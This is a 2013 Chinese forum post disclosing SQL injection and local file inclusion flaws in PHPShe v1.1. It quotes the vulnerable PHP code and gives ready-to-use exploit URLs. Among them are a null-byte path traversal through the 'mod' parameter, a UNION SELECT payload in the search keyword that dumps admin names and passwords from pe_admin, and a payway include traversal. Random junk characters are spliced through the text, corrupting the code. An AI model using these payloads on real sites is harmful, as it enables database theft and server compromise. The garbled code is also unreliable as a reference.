找回密码
 立即注册
查看: 2497|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
5 O8 x) H$ h; X( S/* Phpshe v1.1 Vulnerability9 h( F/ w; o0 P6 F
/* ========================
* v# E2 C0 }2 q# P* @/* By: : Kn1f3& z0 u0 E( o8 m
/* E-Mail : 681796@qq.com. P4 V" y" I( l( `( S- s
/*******************************************************/
! C) W3 o/ C+ u! Z0 Z$ F7 X0×00 整体大概参数传输
5 C4 f" b' N6 h' w" m) Y2 s/ j- t 3 s/ e5 @. d( l# u6 q

% i7 v* ]) v1 _9 K3 Z
. A/ E' Z# o8 v4 [3 ~
//common.php
+ ^+ _! t* v; w# v0 Tif (get_magic_quotes_gpc()) {& h; e! Z! c5 W) E5 T, E
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
0 @/ l/ ^- k  o1 R!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
1 T* d2 b& S1 J: T7 Y( H}4 [2 u6 n$ @# t5 L3 k
else {
1 ^) l# @' ?! i) c! w1 Z1 |!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');2 ]3 ?4 }- v9 A5 ?8 o5 j
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');+ o4 u9 r4 i9 i& \
}
9 J0 e0 K- @! E& @8 Q& T# m1 lsession_start();
' {9 ?1 f* D8 B1 G0 a" E9 f!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
- q* h+ Z+ w" `) ^0 v+ `- O!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
9 Y9 O- u9 Y/ |1 N( a8 P5 Y' D, @2 A9 i% t. t' c* P
0×01 包含漏洞6 p, A- }# _4 R2 L/ Z, r  A

- ]: f; b2 k( p; F0 V1 S

6 M' C$ y' q6 s/ ~2 H//首页文件
$ [2 l4 V& t' R' M" s2 H<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);: u6 o2 H  `/ e
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
( c% y6 g0 U4 Ope_result();
" l9 u1 m+ E4 i?>
( N) `. h5 r& a" j% }; C5 \//common 文件 第15行开始
# J) n/ V% @& C  P1 `8 d* i; curl路由配置
( J$ b5 t. K, F5 U6 V$module = $mod = $act = 'index';
& l/ Z  |$ o/ k4 M& n9 Q  V$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);- {5 ]& W" t+ v6 L. P, w. }
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
+ P8 J' B$ d: j' ?# q$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);+ I6 {& a$ w! Q/ M" |5 `# W& H, U4 v8 O
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00' J& M# w# w3 w. ^) K

( H/ K. k- J9 Y4 h4 a: z* O. |
! M; P1 R9 r+ @) ~! N
0×02 搜索注入, J3 |- W9 v& s* Y
& R- M$ e7 a) v9 z& a6 j( S
<code id="code2">

//product.php文件  e8 @) S7 [: b
case 'list':# \% e9 ]' [9 G
$category_id = intval($id);, y4 H- r2 y' l5 E! y
$info = $db->pe_select('category', array('category_id'=>$category_id));/ w2 P0 ~* j2 t! I
//搜索
# h' p9 E# u( ~' o$sqlwhere = " and `product_state` = 1";
" u5 d  Z/ U; d5 M9 g( f0 ipe_lead('hook/category.hook.php');$ c4 h$ {) o- g- X4 h
if ($category_id) {
% o4 l$ A. u+ v  kwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
, O* b+ n7 e1 K1 U- |( q; R}
' `: x# k+ {7 S, R3 q/ Q3 p2 v" \$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
, S, }. H* q) Hif ($_g_orderby) {
. }% e" o. J" |8 R2 d$orderby = explode('_', $_g_orderby);6 ~; @  A; W) z8 ]0 j, O3 w* Y' X0 Y- B
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
1 U; Z. @. h: q3 }8 T2 y& s# }}
# B( m& n) f  L% {0 h! E8 E% P& selse {
3 k$ Y6 _+ ?6 Q3 }6 g$sqlwhere .= " order by `product_id` desc";1 [/ x+ `/ |4 c, D
}
0 s6 @3 i: S$ W4 \8 |" s5 b, V$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));0 t$ m$ J2 K1 P
//热卖排行
# h: t/ \) H7 R6 }, D; ~. y$product_hotlist = product_hotlist();% L4 ~- ]$ G+ x( m
//当前路径8 e' L9 V8 W4 N5 \# G; i, F
$nowpath = category_path($category_id);
. ^0 i) n& l( @$seo = pe_seo($info['category_name']);
/ n  @2 |# @- T9 W3 finclude(pe_tpl('product_list.html'));1 {+ _1 b* C0 p
//跟进selectall函数库
" B' I  {9 w- H* _( i. w: Tpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
; }8 \& D7 W  B) `{
; p$ _+ B0 W( V& \" P* t! {//处理条件语句
2 P2 I' \0 J. |$ `9 X$sqlwhere = $this->_dowhere($where);
5 h# K4 C6 c$ X4 j# v0 U$ mreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
/ s- v; h1 S: R. N! R( q}3 s: k# i4 x( [+ t$ ?8 H6 y' N
//exp# O% Q$ X" j0 I' [
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
8 w) d. Y) A1 m; d) {

</code>
0 k9 H! b  L. J! | ; p, W" l7 h, H, k
0×03 包含漏洞2
& k& x( E6 f; j - m: I0 a$ G! A" [/ d
<code id="code3">

//order.php

case 'pay':


5 Z: }0 M5 p# f4 n& U4 L* y2 C. a$order_id = pe_dbhold($_g_id);


" u& T: P( v' U; `4 M$ c  n- m$cache_payway = cache::get('payway');


% I5 ^1 T$ w, C- j9 Eforeach($cache_payway as $k => $v) {

( P; U! i$ P4 A$ U! B" F
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


0 Q" \$ F, A& _. ~4 Dif ($k == 'bank') {

( ]  |2 A& |" `/ @
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


' ?4 e: W2 y. P, L. g' I5 @$ D7 ~: z}

. M+ K2 Z& `- G) T+ ?
}

6 |1 j' o2 X5 v" _! q3 B
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

- y& c3 a; |( j' C1 U
!$order['order_id'] && pe_error('订单号错误...');

& ]' X$ K# e* u8 E3 c
if (isset($_p_pesubmit)) {


) J3 }4 y4 i/ F+ r% R5 H! M+ g( K1 eif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


( z' w& \4 z' \5 s8 h% ^$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

9 W' V3 v+ E  X7 M7 I! |1 R; u1 C
foreach ($info_list as $v) {


( {7 C! _0 u: I. y, f" v$order['order_name'] .= "{$v['product_name']};";" G& U  y; r$ w


8 c2 @1 s( |* `6 p. e( O}

3 c7 {  ~  D  O. n$ r9 g$ ^" P
echo '正在为您连接支付网站,请稍后...';


! R5 \2 Y2 R& s7 Z) ]1 [include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


8 j. U' \  p8 u+ w* i}//当一切准备好的时候就可以进行"鸡肋包含了"

- U4 S7 N. K' j0 ~* M2 [
else {


( i* V6 g' @/ ~& L1 w  z6 {2 Rpe_error('支付错误...');


) g# N- i; R5 D, K" O- Y}

2 Z( _8 z( D, L  F! g, p# s- ]* k
}


* P- W' W; N7 }5 N$ I9 }0 v" e5 y$seo = pe_seo('选择支付方式');


: U. W0 y1 ?" C. Ainclude(pe_tpl('order_pay.html'));


8 i; ~) x7 Y' D, z5 g& r8 Nbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
9 `3 {4 d! C4 O, J' N; M7 V( shttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表